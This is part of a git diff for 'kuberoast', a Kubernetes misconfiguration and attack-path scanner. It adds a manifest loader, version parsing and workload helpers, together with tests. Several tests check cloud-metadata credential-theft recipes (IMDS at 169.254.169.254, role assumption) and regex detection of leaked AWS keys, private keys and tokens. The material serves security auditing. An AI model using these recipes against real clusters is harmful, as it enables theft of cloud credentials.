return _safe_list(apps.list_namespaced_daemon_set, "daemonsets", namespace=namespace) + return _safe_list(apps.list_daemon_set_for_all_namespaces, "daemonsets") + + +def list_all_jobs(batch, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(batch.list_namespaced_job, "jobs", namespace=namespace) + return _safe_list(batch.list_job_for_all_namespaces, "jobs") + + +def list_all_cronjobs(batch, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(batch.list_namespaced_cron_job, "cronjobs", namespace=namespace) + return _safe_list(batch.list_cron_job_for_all_namespaces, "cronjobs") + + +def list_all_service_accounts(core, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(core.list_namespaced_service_account, "serviceaccounts", namespace=namespace) + return _safe_list(core.list_service_account_for_all_namespaces, "serviceaccounts") + + +def list_all_network_policies(networking, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(networking.list_namespaced_network_policy, "networkpolicies", namespace=namespace) + return _safe_list(networking.list_network_policy_for_all_namespaces, "networkpolicies") + + +def get_server_version(version_api) -> Optional[str]: + """Return the apiserver gitVersion string (e.g. 'v1.27.3'), or None.""" + try: + info = version_api.get_code() + return getattr(info, "git_version", None) + except ApiException as e: + if e.status in (401, 403): + logger.warning("Insufficient permissions to read server version (HTTP %d)", e.status) + return None + raise + except Exception as e: + logger.warning("Could not read server version: %s", e) + return None + + +def list_validating_webhooks(admission) -> List: + try: + return admission.list_validating_webhook_configuration().items or [] + except ApiException as e: + if e.status in (401, 403): + logger.warning("Insufficient permissions to list validating webhook configurations (HTTP %d) β€” skipping", e.status) + return [] + raise + + +def list_mutating_webhooks(admission) -> List: + try: + return admission.list_mutating_webhook_configuration().items or [] + except ApiException as e: + if e.status in (401, 403): + logger.warning("Insufficient permissions to list mutating webhook configurations (HTTP %d) β€” skipping", e.status) + return [] + raise diff --git a/kuberoast/utils/manifests.py b/kuberoast/utils/manifests.py new file mode 100644 index 0000000..bd98a84 --- /dev/null +++ b/kuberoast/utils/manifests.py @@ -0,0 +1,153 @@ +"""Shift-left manifest loader. + +Walks a directory of YAML/JSON manifests and produces objects with the +same attribute shape that the live K8s client returns, so the existing +scanners work unchanged. Handles: + + * multi-document YAML (---) + * Helm rendered output (skips non-K8s docs) + * Kustomize built output + * camelCase β†’ snake_case conversion (matching kubernetes-python's quirks) + +We don't load yaml at import time β€” pyyaml is optional. Callers that pass +--manifests get a clear error if pyyaml isn't installed. +""" +import json +import os +import re +from pathlib import Path +from types import SimpleNamespace +from typing import Any, Dict, Iterable, List, Tuple + + +# The K8s Python client uses idiomatic snake_case for most fields but has +# specific quirks. We mirror them so scanners that already work against +# live clusters work against manifest input too. +SPECIAL_FIELD_MAP = { + "externalIPs": "external_i_ps", + "ipFamilyPolicy": "ip_family_policy", + "loadBalancerIP": "load_balancer_ip", + "publishNotReadyAddresses": "publish_not_ready_addresses", +} + + +_FIRST_CAP = re.compile(r"([a-z0-9])([A-Z])") +_RUN_CAP = re.compile(r"([A-Z]+)([A-Z][a-z])") + + +def _to_snake(name: str) -> str: + if name in SPECIAL_FIELD_MAP: + return SPECIAL_FIELD_MAP[name] + s = _FIRST_CAP.sub(r"\1_\2", name) + s = _RUN_CAP.sub(r"\1_\2", s) + return s.lower() + + +# Fields that the kubernetes-python client keeps as raw dicts (maps), not as +# typed sub-objects. Scanners iterate these with .items(), so we must not +# convert them to SimpleNamespace. Keyed by snake_case field name. +_DICT_FIELDS = { + "labels", "annotations", "data", "binary_data", "string_data", + "selector", "node_selector", "match_labels", + "limits", "requests", # resource quantities; stay as dict for easy access + "node_affinity_preset", "tolerations_preset", +} + + +def _convert(node: Any, field_name: str = "") -> Any: + """Recursively convert dict keys camelCaseβ†’snake_case and dictsβ†’SimpleNamespace. + + Known map-shaped fields (labels, data, etc.) remain plain dicts so + scanners can call .items() on them. Everything else becomes a + SimpleNamespace mirroring the K8s python client's typed sub-objects. + """ + if isinstance(node, dict): + snake = _to_snake(field_name) if field_name else "" + if snake in _DICT_FIELDS: + # leave as a plain dict so .items()/.get() work + return {k: v for k, v in node.items()} + return SimpleNamespace(**{_to_snake(k): _convert(v, k) for k, v in node.items()}) + if isinstance(node, list): + return [_convert(v) for v in node] + return node + + +def _looks_like_k8s(doc: dict) -> bool: + return isinstance(doc, dict) and "apiVersion" in doc and "kind" in doc + + +def _load_yaml_documents(text: str) -> List[dict]: + try: + import yaml # type: ignore + except ImportError as e: + raise RuntimeError( + "Manifest mode requires PyYAML. Install with: pip install 'kuberoast[manifests]' or pip install pyyaml" + ) from e + docs = [] + for d in yaml.safe_load_all(text): + if d is None: + continue + if isinstance(d, list): + docs.extend(x for x in d if x) + else: + docs.append(d) + return docs + + +def _load_json_documents(text: str) -> List[dict]: + parsed = json.loads(text) + if isinstance(parsed, list): + return [p for p in parsed if p] + if isinstance(parsed, dict) and parsed.get("kind") == "List": + items = parsed.get("items") or [] + return list(items) + return [parsed] + + +def _iter_files(root: str) -> Iterable[Path]: + p = Path(root) + if p.is_file(): + yield p + return + for ext in ("*.yaml", "*.yml", "*.json"): + for f in p.rglob(ext): + if f.is_file(): + yield f + + +def load_manifests(path: str) -> Dict[str, List[Any]]: + """Load all manifests under `path`. Returns dict of {Kind: [objects...]}. + + The returned objects are SimpleNamespace trees that mirror the shape + of `kubernetes` client v1 models closely enough for our scanners. + """ + grouped: Dict[str, List[Any]] = {} + for f in _iter_files(path): + text = f.read_text(encoding="utf-8", errors="replace") + try: + if f.suffix == ".json": + docs = _load_json_documents(text) + else: + docs = _load_yaml_documents(text) + except Exception: + # skip unparseable files β€” common when scanning a mixed Helm chart dir + continue + for d in docs: + # Some Helm output produces nested "items" lists for List kinds + if isinstance(d, dict) and d.get("kind") == "List": + for item in (d.get("items") or []): + _emit(grouped, item) + continue + _emit(grouped, d) + return grouped + + +def _emit(grouped: Dict[str, List[Any]], d: Any) -> None: + if not _looks_like_k8s(d): + return + kind = d.get("kind") + obj = _convert(d) + # Ensure metadata always exists for scanner attribute access + if not hasattr(obj, "metadata"): + obj.metadata = SimpleNamespace(name="?", namespace=None, labels={}, annotations={}) + grouped.setdefault(kind, []).append(obj) diff --git a/kuberoast/utils/versions.py b/kuberoast/utils/versions.py new file mode 100644 index 0000000..bda6fed --- /dev/null +++ b/kuberoast/utils/versions.py @@ -0,0 +1,88 @@ +"""Lightweight version parsing for CVE correlation. + +We deliberately avoid a packaging dependency. Kubernetes-world version +strings come in a few shapes: + + * "v1.27.3" (kubelet / apiserver gitVersion) + * "v1.27.3-eks-a5565ad" (managed distro suffix) + * "containerd://1.6.21" (container runtime) + * "docker://20.10.7" (container runtime) + * "cri-o://1.26.3" (container runtime) + * "5.15.0-1031-aws" (kernel) + * "registry.k8s.io/ingress-nginx/controller:v1.9.4" (image ref) + +`parse_version` extracts a comparable (major, minor, patch) tuple and is +tolerant of junk. `lt` / `lte` compare two such tuples. +""" +import re +from typing import Optional, Tuple + +Version = Tuple[int, int, int] + +_VER_RE = re.compile(r"(\d+)\.(\d+)(?:\.(\d+))?") + + +def parse_version(s: Optional[str]) -> Optional[Version]: + """Pull the first major.minor[.patch] out of an arbitrary string.""" + if not s: + return None + m = _VER_RE.search(s) + if not m: + return None + major = int(m.group(1)) + minor = int(m.group(2)) + patch = int(m.group(3)) if m.group(3) else 0 + return (major, minor, patch) + + +def parse_runtime(s: Optional[str]) -> Tuple[Optional[str], Optional[Version]]: + """Split 'containerd://1.6.21' β†’ ('containerd', (1,6,21)).""" + if not s: + return None, None + if "://" in s: + name, _, ver = s.partition("://") + return name.lower(), parse_version(ver) + return None, parse_version(s) + + +def parse_image_tag(image: Optional[str]) -> Tuple[Optional[str], Optional[Version]]: + """Split an image ref into (repo_path, version_from_tag). + + 'registry.k8s.io/ingress-nginx/controller:v1.9.4' β†’ ('registry.k8s.io/ingress-nginx/controller', (1,9,4)) + Digest-only refs return (repo, None). + """ + if not image: + return None, None + # strip digest + repo_tag = image.split("@", 1)[0] + # tag is after the LAST colon, but only if that segment has no '/' + if ":" in repo_tag: + repo, _, tag = repo_tag.rpartition(":") + if "/" in tag: # the colon belonged to a port, not a tag + return repo_tag, None + return repo, parse_version(tag) + return repo_tag, None + + +def lt(a: Optional[Version], b: Version) -> bool: + """a < b (a None β†’ False, can't conclude vulnerable).""" + if a is None: + return False + return a < b + + +def lte(a: Optional[Version], b: Version) -> bool: + if a is None: + return False + return a <= b + + +def in_range(a: Optional[Version], lo: Optional[Version], hi: Optional[Version]) -> bool: + """lo <= a < hi, with None bounds open.""" + if a is None: + return False + if lo is not None and a < lo: + return False + if hi is not None and a >= hi: + return False + return True diff --git a/kuberoast/utils/workloads.py b/kuberoast/utils/workloads.py new file mode 100644 index 0000000..f4b304f --- /dev/null +++ b/kuberoast/utils/workloads.py @@ -0,0 +1,114 @@ +"""Synthesize pod-like objects from workload templates. + +Pod-level scanners already understand the shape `pod.spec.containers / ...`. +Rather than rewrite every scanner to be 'workload-aware', we extract the +PodTemplateSpec from each workload kind and synthesize a thin pod-like +object that the existing scanners consume unchanged. + +Findings produced from synthesized pods get the controller kind/name +prepended to the resource string so the operator can tell what they're +looking at. +""" +from types import SimpleNamespace +from typing import List, Tuple, Iterable, Optional + + +WORKLOAD_KINDS = ( + "Deployment", "StatefulSet", "DaemonSet", + "ReplicaSet", "Job", "CronJob", + "ReplicationController", +) + + +def _template_from(workload, kind: str): + """Return (template_metadata, template_spec) for any workload kind, or (None, None).""" + spec = getattr(workload, "spec", None) + if spec is None: + return None, None + if kind == "CronJob": + # spec.jobTemplate.spec.template + job_template = getattr(spec, "job_template", None) + if job_template is None: + return None, None + job_spec = getattr(job_template, "spec", None) + if job_spec is None: + return None, None + template = getattr(job_spec, "template", None) + else: + template = getattr(spec, "template", None) + if template is None: + return None, None + return getattr(template, "metadata", None), getattr(template, "spec", None) + + +def synthesize_pod_from_workload(workload, kind: str): + """Build a pod-like SimpleNamespace from a workload template. + + The synthesized pod preserves the workload's namespace and name, so + findings can clearly attribute back to the controller. We also merge + pod-template annotations with controller-level annotations so AppArmor + annotations (which are pod-template scoped) are visible. + """ + tmpl_meta, tmpl_spec = _template_from(workload, kind) + if tmpl_spec is None: + return None + + wl_meta = getattr(workload, "metadata", None) + ns = getattr(wl_meta, "namespace", None) if wl_meta else None + name = getattr(wl_meta, "name", "?") if wl_meta else "?" + + # Merge annotations: template wins on conflict (AppArmor lives on template) + wl_annots = (getattr(wl_meta, "annotations", None) or {}) if wl_meta else {} + tmpl_annots = (getattr(tmpl_meta, "annotations", None) or {}) if tmpl_meta else {} + merged_annots = {**wl_annots, **tmpl_annots} + + pod_meta = SimpleNamespace( + name=name, + namespace=ns, + annotations=merged_annots, + labels=(getattr(tmpl_meta, "labels", None) or {}) if tmpl_meta else {}, + ) + + # Stamp the controller kind so reporting can adjust the resource string + pod_meta._kuberoast_owner_kind = kind # type: ignore[attr-defined] + pod_meta._kuberoast_owner_name = name # type: ignore[attr-defined] + + return SimpleNamespace(metadata=pod_meta, spec=tmpl_spec) + + +def relabel_workload_findings(findings, kind: str, name: str): + """Rewrite pod/ in resource strings to /.""" + pod_prefix = f"pod/{name}" + new_prefix = f"{kind.lower()}/{name}" + out = [] + for f in findings: + if f.resource and f.resource.startswith(pod_prefix): + f = f.model_copy(update={"resource": new_prefix + f.resource[len(pod_prefix):]}) + out.append(f) + return out + + +def amplify_daemonset_findings(findings, kind: str): + """A DaemonSet runs a pod on *every* node, so an escape primitive in its + template is a foothold on all nodes, not one pod. Bump the framing of + escape/attack-path findings to reflect node-wide blast radius.""" + if kind != "DaemonSet": + return findings + out = [] + for f in findings: + if f.category in ("Escape", "AttackPath") and f.severity in ("critical", "high"): + note = "[DaemonSet β€” scheduled on EVERY node: compromise yields a foothold on all nodes] " + new_impact = note + (f.impact or "") + f = f.model_copy(update={"impact": new_impact}) + out.append(f) + return out + + +def iter_workload_pods(workloads: Iterable, kind: str) -> Iterable[Tuple[object, str, str]]: + """Yield (synthesized_pod, kind, name) for each workload that has a template.""" + for w in workloads: + pod = synthesize_pod_from_workload(w, kind) + if pod is None: + continue + name = getattr(getattr(w, "metadata", None), "name", "?") + yield pod, kind, name diff --git a/pyproject.toml b/pyproject.toml index 1123d15..217d1f0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "kuberoast" -version = "0.2.0" +version = "0.4.0" description = "Offensive Kubernetes misconfiguration & attack-path scanner" readme = "README.md" license = {text = "MIT"} @@ -18,9 +18,13 @@ dependencies = [ ] [project.optional-dependencies] +manifests = [ + "pyyaml>=6.0", +] dev = [ "pytest>=7.0", "pytest-cov>=4.0", + "pyyaml>=6.0", ] [project.scripts] diff --git a/tests/conftest.py b/tests/conftest.py index d180508..ec81313 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -1,4 +1,9 @@ -"""Shared test fixtures providing mock Kubernetes objects.""" +"""Shared test fixtures providing mock Kubernetes objects. + +Helpers here intentionally mirror the *shape* of the kubernetes-python +client's snake_case attributes. Scanners use getattr() everywhere so +SimpleNamespace stand-ins are sufficient. +""" import pytest from types import SimpleNamespace @@ -12,9 +17,14 @@ def make_metadata(name="test", namespace="default", labels=None, annotations=Non ) +def make_env(name, value=None, value_from=None): + return SimpleNamespace(name=name, value=value, value_from=value_from) + + def make_container(name="app", privileged=False, run_as_user=None, allow_privilege_escalation=None, read_only_root_filesystem=None, - caps_add=None, seccomp_profile=None, limits=None): + caps_add=None, seccomp_profile=None, limits=None, + volume_mounts=None, env=None, command=None, args=None, image=None): capabilities = SimpleNamespace(add=caps_add or [], drop=[]) if caps_add else SimpleNamespace(add=[], drop=[]) resources = SimpleNamespace(limits=limits, requests=None) if limits else SimpleNamespace(limits=None, requests=None) sc = SimpleNamespace( @@ -25,17 +35,29 @@ def make_container(name="app", privileged=False, run_as_user=None, capabilities=capabilities, seccomp_profile=seccomp_profile, ) - return SimpleNamespace(name=name, security_context=sc, resources=resources) + return SimpleNamespace( + name=name, + security_context=sc, + resources=resources, + volume_mounts=volume_mounts or [], + env=env or [], + command=command or [], + args=args or [], + image=image, + ) def make_pod(name="test-pod", namespace="default", containers=None, host_network=False, host_pid=False, host_ipc=False, automount_service_account_token=None, volumes=None, service_account_name="default", annotations=None, - pod_seccomp=None): + pod_seccomp=None, pod_run_as_user=None): if containers is None: containers = [make_container()] - pod_sc = SimpleNamespace(seccomp_profile=pod_seccomp) if pod_seccomp else SimpleNamespace(seccomp_profile=None) + pod_sc = SimpleNamespace( + seccomp_profile=pod_seccomp, + run_as_user=pod_run_as_user, + ) spec = SimpleNamespace( containers=containers, init_containers=[], @@ -54,6 +76,17 @@ def make_pod(name="test-pod", namespace="default", containers=None, ) +def make_volume_mount(name="vol", mount_path="/data", read_only=False): + return SimpleNamespace(name=name, mount_path=mount_path, read_only=read_only) + + +def make_host_path_volume(name="hpvol", path="/var/run/docker.sock"): + return SimpleNamespace( + name=name, + host_path=SimpleNamespace(path=path, type=None), + ) + + def make_namespace(name="default", labels=None): return SimpleNamespace(metadata=make_metadata(name=name, labels=labels)) @@ -65,6 +98,13 @@ def make_role(name="test-role", namespace="default", rules=None, kind="Role"): ) +def make_cluster_role(name="test-clusterrole", rules=None): + return SimpleNamespace( + metadata=SimpleNamespace(name=name, namespace=None, labels={}, annotations={}), + rules=rules or [], + ) + + def make_rule(verbs=None, resources=None, api_groups=None): return SimpleNamespace( verbs=verbs or [], @@ -82,6 +122,15 @@ def make_binding(name="test-binding", role_kind="Role", role_name="test-role", ) +def make_cluster_binding(name="test-crb", role_kind="ClusterRole", role_name="cluster-admin", + subjects=None): + return SimpleNamespace( + metadata=SimpleNamespace(name=name, namespace=None, labels={}, annotations={}), + role_ref=SimpleNamespace(kind=role_kind, name=role_name, api_group="rbac.authorization.k8s.io"), + subjects=subjects or [], + ) + + def make_subject(kind="ServiceAccount", name="default", namespace="default"): return SimpleNamespace(kind=kind, name=name, namespace=namespace) @@ -95,6 +144,14 @@ def make_secret(name="my-secret", namespace="default", secret_type="Opaque", ) +def make_configmap(name="my-cm", namespace="default", data=None, binary_data=None): + return SimpleNamespace( + metadata=make_metadata(name=name, namespace=namespace), + data=data or {}, + binary_data=binary_data or {}, + ) + + def make_service(name="my-svc", namespace="default", svc_type="ClusterIP", load_balancer_source_ranges=None, external_ips=None): return SimpleNamespace( @@ -115,10 +172,94 @@ def make_ingress(name="my-ing", namespace="default", tls=None, rules=None): ) -def make_node(name="node-1", addresses=None): +def make_node(name="node-1", addresses=None, provider_id=None, labels=None, + kubelet_version=None, container_runtime_version=None, kernel_version=None, + os_image=None): if addresses is None: addresses = [SimpleNamespace(type="InternalIP", address="10.0.0.1")] + node_info = SimpleNamespace( + kubelet_version=kubelet_version, + container_runtime_version=container_runtime_version, + kernel_version=kernel_version, + os_image=os_image, + ) + return SimpleNamespace( + metadata=make_metadata(name=name, labels=labels), + spec=SimpleNamespace(provider_id=provider_id), + status=SimpleNamespace(addresses=addresses, node_info=node_info), + ) + + +def make_service_account(name="my-sa", namespace="default", annotations=None, labels=None): + return SimpleNamespace( + metadata=make_metadata(name=name, namespace=namespace, + annotations=annotations, labels=labels), + ) + + +def make_network_policy(name="np", namespace="default", policy_types=None, + select_all=True, match_labels=None): + pod_selector = SimpleNamespace( + match_labels=match_labels if not select_all else None, + match_expressions=None, + ) + return SimpleNamespace( + metadata=make_metadata(name=name, namespace=namespace), + spec=SimpleNamespace( + policy_types=policy_types or [], + pod_selector=pod_selector, + ), + ) + + +def make_deployment(name="my-deploy", namespace="default", template_spec=None, + template_annotations=None): + if template_spec is None: + template_spec = make_pod(name="ignored", namespace=namespace).spec + template_meta = SimpleNamespace( + name=None, + namespace=None, + labels={}, + annotations=template_annotations or {}, + ) + return SimpleNamespace( + metadata=make_metadata(name=name, namespace=namespace), + spec=SimpleNamespace( + template=SimpleNamespace(metadata=template_meta, spec=template_spec), + ), + ) + + +def make_cronjob(name="my-cj", namespace="default", template_spec=None): + if template_spec is None: + template_spec = make_pod(name="ignored", namespace=namespace).spec + job_template = SimpleNamespace( + spec=SimpleNamespace( + template=SimpleNamespace( + metadata=SimpleNamespace(name=None, namespace=None, labels={}, annotations={}), + spec=template_spec, + ), + ), + ) + return SimpleNamespace( + metadata=make_metadata(name=name, namespace=namespace), + spec=SimpleNamespace(job_template=job_template), + ) + + +def make_webhook(name="wh.example.com", failure_policy="Fail", + timeout_seconds=5, side_effects="None", ca_bundle="abc"): + return SimpleNamespace( + name=name, + failure_policy=failure_policy, + timeout_seconds=timeout_seconds, + side_effects=side_effects, + client_config=SimpleNamespace(ca_bundle=ca_bundle, url=None, service=None), + ) + + +def make_webhook_config(name="vw-1", webhooks=None): return SimpleNamespace( - metadata=make_metadata(name=name), - status=SimpleNamespace(addresses=addresses), + metadata=SimpleNamespace(name=name, namespace=None, labels={}, annotations={}), + webhooks=webhooks or [], ) diff --git a/tests/test_cli.py b/tests/test_cli.py new file mode 100644 index 0000000..c02e8b5 --- /dev/null +++ b/tests/test_cli.py @@ -0,0 +1,85 @@ +"""CLI-level tests: hygiene gating, exit codes, manifest orchestration.""" +import json + +import pytest + +from kuberoast.cli import main +from kuberoast.utils.findings import HYGIENE_FINDING_IDS + + +PRIVILEGED_POD = """\ +apiVersion: v1 +kind: Pod +metadata: + name: bad + namespace: prod +spec: + containers: + - name: c + image: app:latest + securityContext: + privileged: true +""" + + +def _write(tmp_path, text, name="m.yaml"): + f = tmp_path / name + f.write_text(text) + return str(tmp_path) + + +def test_hygiene_hidden_by_default(tmp_path, capsys): + pytest.importorskip("yaml") + path = _write(tmp_path, PRIVILEGED_POD) + rc = main(["--manifests", path, "--report", "json", "--no-color"]) + out = capsys.readouterr().out + data = json.loads(out) + ids = {f["id"] for f in data} + # The escape finding must be present... + assert "ESC-PRIV" in ids + # ...but hygiene lint must be filtered out by default. + assert ids.isdisjoint(HYGIENE_FINDING_IDS) + assert rc == 0 + + +def test_hygiene_included_with_flag(tmp_path, capsys): + pytest.importorskip("yaml") + path = _write(tmp_path, PRIVILEGED_POD) + main(["--manifests", path, "--report", "json", "--no-color", "--include-hygiene"]) + out = capsys.readouterr().out + data = json.loads(out) + ids = {f["id"] for f in data} + # With the flag, at least one hygiene finding should reappear. + assert ids & HYGIENE_FINDING_IDS + + +def test_fail_on_critical_returns_1(tmp_path, capsys): + pytest.importorskip("yaml") + path = _write(tmp_path, PRIVILEGED_POD) + rc = main(["--manifests", path, "--report", "json", "--fail-on", "critical", "--no-color"]) + capsys.readouterr() + assert rc == 1 + + +def test_min_exploitability_filters(tmp_path, capsys): + pytest.importorskip("yaml") + path = _write(tmp_path, PRIVILEGED_POD) + main(["--manifests", path, "--report", "json", "--min-exploitability", "trivial", "--no-color"]) + out = capsys.readouterr().out + data = json.loads(out) + # Every surviving finding must be 'trivial' + assert data # privileged escape is trivial, so something survives + assert all(f.get("exploitability") == "trivial" for f in data) + + +def test_version_flag(capsys): + with pytest.raises(SystemExit) as e: + main(["--version"]) + assert e.value.code == 0 + out = capsys.readouterr().out + assert "kuberoast" in out + + +def test_html_requires_out(capsys): + rc = main(["--manifests", "/nonexistent", "--report", "html"]) + assert rc == 2 diff --git a/tests/test_cloud.py b/tests/test_cloud.py new file mode 100644 index 0000000..4381823 --- /dev/null +++ b/tests/test_cloud.py @@ -0,0 +1,115 @@ +"""Tests for cloud-account pivot analysis (IMDS + workload identity).""" +from kuberoast.scanners.cloud import scan_cloud_pivots, _detect_provider +from tests.conftest import ( + make_node, make_service_account, make_network_policy, make_namespace, +) + + +# ---------- provider detection ---------- + +def test_detect_aws_from_provider_id(): + node = make_node(provider_id="aws:///us-east-1a/i-0abc123") + assert _detect_provider([node]) == "aws" + + +def test_detect_gcp_from_provider_id(): + node = make_node(provider_id="gce://my-project/us-central1-a/gke-node") + assert _detect_provider([node]) == "gcp" + + +def test_detect_azure_from_provider_id(): + node = make_node(provider_id="azure:///subscriptions/x/resourceGroups/y/providers/Microsoft.Compute/virtualMachines/z") + assert _detect_provider([node]) == "azure" + + +def test_detect_provider_none_when_unknown(): + node = make_node(provider_id=None, labels={}) + assert _detect_provider([node]) is None + + +# ---------- IMDS reachability ---------- + +def test_imds_reachable_when_no_egress_policy(): + nodes = [make_node(provider_id="aws:///us-east-1a/i-0abc")] + ns = [make_namespace(name="prod")] + findings = scan_cloud_pivots(nodes, [], [], ns) + f = next(f for f in findings if f.id == "CLOUD-IMDS-REACHABLE") + assert f.severity == "high" + assert "169.254.169.254" in (f.exploit or "") + assert "security-credentials" in (f.exploit or "") # AWS-specific recipe + assert "T1552.005" in f.attack_techniques + + +def test_imds_recipe_is_provider_specific_gcp(): + nodes = [make_node(provider_id="gce://proj/zone/node")] + ns = [make_namespace(name="prod")] + findings = scan_cloud_pivots(nodes, [], [], ns) + f = next(f for f in findings if f.id == "CLOUD-IMDS-REACHABLE") + assert "Metadata-Flavor: Google" in (f.exploit or "") + + +def test_imds_not_flagged_when_provider_unknown(): + """No provider detected β†’ we can't assert IMDS reachability, so stay quiet.""" + nodes = [make_node(provider_id=None, labels={})] + ns = [make_namespace(name="prod")] + findings = scan_cloud_pivots(nodes, [], [], ns) + assert not [f for f in findings if f.id == "CLOUD-IMDS-REACHABLE"] + + +def test_imds_suppressed_when_default_deny_egress_everywhere(): + """A select-all egress NetworkPolicy in the namespace suppresses the IMDS finding for it.""" + nodes = [make_node(provider_id="aws:///z/i-0")] + ns = [make_namespace(name="prod")] + np = make_network_policy(name="default-deny-egress", namespace="prod", + policy_types=["Egress"], select_all=True) + findings = scan_cloud_pivots(nodes, [], [np], ns) + assert not [f for f in findings if f.id == "CLOUD-IMDS-REACHABLE"] + + +def test_imds_still_flagged_when_only_ingress_policy(): + """An ingress-only policy doesn't constrain egress β†’ IMDS still reachable.""" + nodes = [make_node(provider_id="aws:///z/i-0")] + ns = [make_namespace(name="prod")] + np = make_network_policy(name="deny-ingress", namespace="prod", + policy_types=["Ingress"], select_all=True) + findings = scan_cloud_pivots(nodes, [], [np], ns) + assert [f for f in findings if f.id == "CLOUD-IMDS-REACHABLE"] + + +# ---------- workload identity federation ---------- + +def test_irsa_annotation_flagged(): + sa = make_service_account(name="app", namespace="prod", + annotations={"eks.amazonaws.com/role-arn": "arn:aws:iam::111122223333:role/app-role"}) + findings = scan_cloud_pivots([], [sa], [], []) + f = next(f for f in findings if f.id == "CLOUD-IRSA") + assert "arn:aws:iam::111122223333:role/app-role" in f.description + assert "assume-role-with-web-identity" in (f.exploit or "") + + +def test_gke_workload_identity_flagged(): + sa = make_service_account(name="app", namespace="prod", + annotations={"iam.gke.io/gcp-service-account": "app@proj.iam.gserviceaccount.com"}) + findings = scan_cloud_pivots([], [sa], [], []) + f = next(f for f in findings if f.id == "CLOUD-GKE-WI") + assert "app@proj.iam.gserviceaccount.com" in f.description + + +def test_azure_workload_identity_via_annotation(): + sa = make_service_account(name="app", namespace="prod", + annotations={"azure.workload.identity/client-id": "00000000-0000-0000-0000-000000000000"}) + findings = scan_cloud_pivots([], [sa], [], []) + assert [f for f in findings if f.id == "CLOUD-AZURE-WI"] + + +def test_azure_workload_identity_via_label(): + sa = make_service_account(name="app", namespace="prod", + labels={"azure.workload.identity/use": "true"}) + findings = scan_cloud_pivots([], [sa], [], []) + assert [f for f in findings if f.id == "CLOUD-AZURE-WI"] + + +def test_plain_serviceaccount_not_flagged(): + sa = make_service_account(name="boring", namespace="prod") + findings = scan_cloud_pivots([], [sa], [], []) + assert findings == [] diff --git a/tests/test_configmaps.py b/tests/test_configmaps.py new file mode 100644 index 0000000..d2260c3 --- /dev/null +++ b/tests/test_configmaps.py @@ -0,0 +1,119 @@ +"""Tests for ConfigMap credential hunting. + +Focus: high-signal regexes that catch real-world leaks without false +positives on legitimate config. +""" +from kuberoast.scanners.configmaps import scan_configmaps +from tests.conftest import make_configmap + + +def test_aws_access_key_critical(): + cm = make_configmap(data={"app.env": "AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE"}) + f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-AWS-AKID") + assert f.severity == "critical" + assert f.exploitability == "trivial" + + +def test_pem_private_key_critical(): + cm = make_configmap(data={"tls.key": "-----BEGIN RSA PRIVATE KEY-----\nMIIBOgI...\n-----END RSA PRIVATE KEY-----"}) + ids = {f.id for f in scan_configmaps([cm])} + assert "CM-LEAK-PRIVATE-KEY-PEM" in ids + + +def test_openssh_private_key_critical(): + cm = make_configmap(data={"id_rsa": "-----BEGIN OPENSSH PRIVATE KEY-----\nblob\n-----END OPENSSH PRIVATE KEY-----"}) + ids = {f.id for f in scan_configmaps([cm])} + # Either openssh-specific or generic PEM pattern can fire β€” both are correct. + assert "CM-LEAK-SSH-PRIVATE" in ids or "CM-LEAK-PRIVATE-KEY-PEM" in ids + + +def test_gcp_service_account_json_critical(): + cm = make_configmap(data={"sa.json": '{"type": "service_account", "project_id": "x"}'}) + f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-GCP-SA-JSON") + assert f.severity == "critical" + + +def test_github_pat_high(): + cm = make_configmap(data={"ci.env": "GITHUB_TOKEN=ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}) + f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-GITHUB-PAT") + assert f.severity == "high" + + +def test_slack_bot_token_high(): + cm = make_configmap(data={"notify.env": "SLACK_TOKEN=xoxb-1234567890-abcdefghijk"}) + f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-SLACK-BOT") + assert f.severity == "high" + + +def test_jdbc_url_with_creds_high(): + cm = make_configmap(data={"app.props": "spring.datasource.url=jdbc:postgresql://db:5432/app?user=root&password=hunter2\njdbc:mysql://user:hunter2@host/db"}) + f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-JDBC-URL") + assert f.severity == "high" + + +def test_url_with_inline_credentials(): + cm = make_configmap(data={"env": "WEBHOOK=https://user:supersecret123@example.com/hook"}) + ids = {f.id for f in scan_configmaps([cm])} + assert "CM-LEAK-GENERIC-URL" in ids + + +def test_plain_password_yaml_flagged(): + cm = make_configmap(data={"app.yaml": "database:\n password: hunter2supersecret\n"}) + ids = {f.id for f in scan_configmaps([cm])} + assert "CM-LEAK-PASSWORD-YAML" in ids + + +def test_apikey_flagged(): + cm = make_configmap(data={"app.yaml": "service:\n api_key: aabbccddeeff112233445566\n"}) + ids = {f.id for f in scan_configmaps([cm])} + assert "CM-LEAK-APIKEY" in ids + + +def test_azure_connection_string_high(): + cm = make_configmap(data={"app.env": "AZ=DefaultEndpointsProtocol=https;AccountName=x;AccountKey=" + "a" * 40 + ";"}) + f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-AZURE-CONN") + assert f.severity == "high" + + +def test_redacts_long_match(): + """Findings must NOT echo the entire credential β€” only a redacted snippet.""" + big = "x" * 200 + cm = make_configmap(data={"app.env": f"GITHUB_TOKEN=ghp_{big[:36]}"}) + findings = scan_configmaps([cm]) + pat = next(f for f in findings if f.id == "CM-LEAK-GITHUB-PAT") + # Description shows a snippet but not the entire token sequence + assert "ghp_" in pat.description + assert "…" in pat.description # ellipsis indicates redaction + + +def test_system_kube_root_ca_skipped(): + """The auto-generated kube-root-ca.crt ConfigMap is benign β€” skip it.""" + cm = make_configmap(name="kube-root-ca.crt", data={"ca.crt": "-----BEGIN CERTIFICATE-----\n..."}) + assert scan_configmaps([cm]) == [] + + +def test_no_credential_no_finding(): + cm = make_configmap(data={"log_level": "info", "feature_flag": "true"}) + assert scan_configmaps([cm]) == [] + + +def test_binarydata_with_suspicious_key_name_flagged(): + cm = make_configmap(binary_data={"private_key": "YmFzZTY0"}) + f = next(f for f in 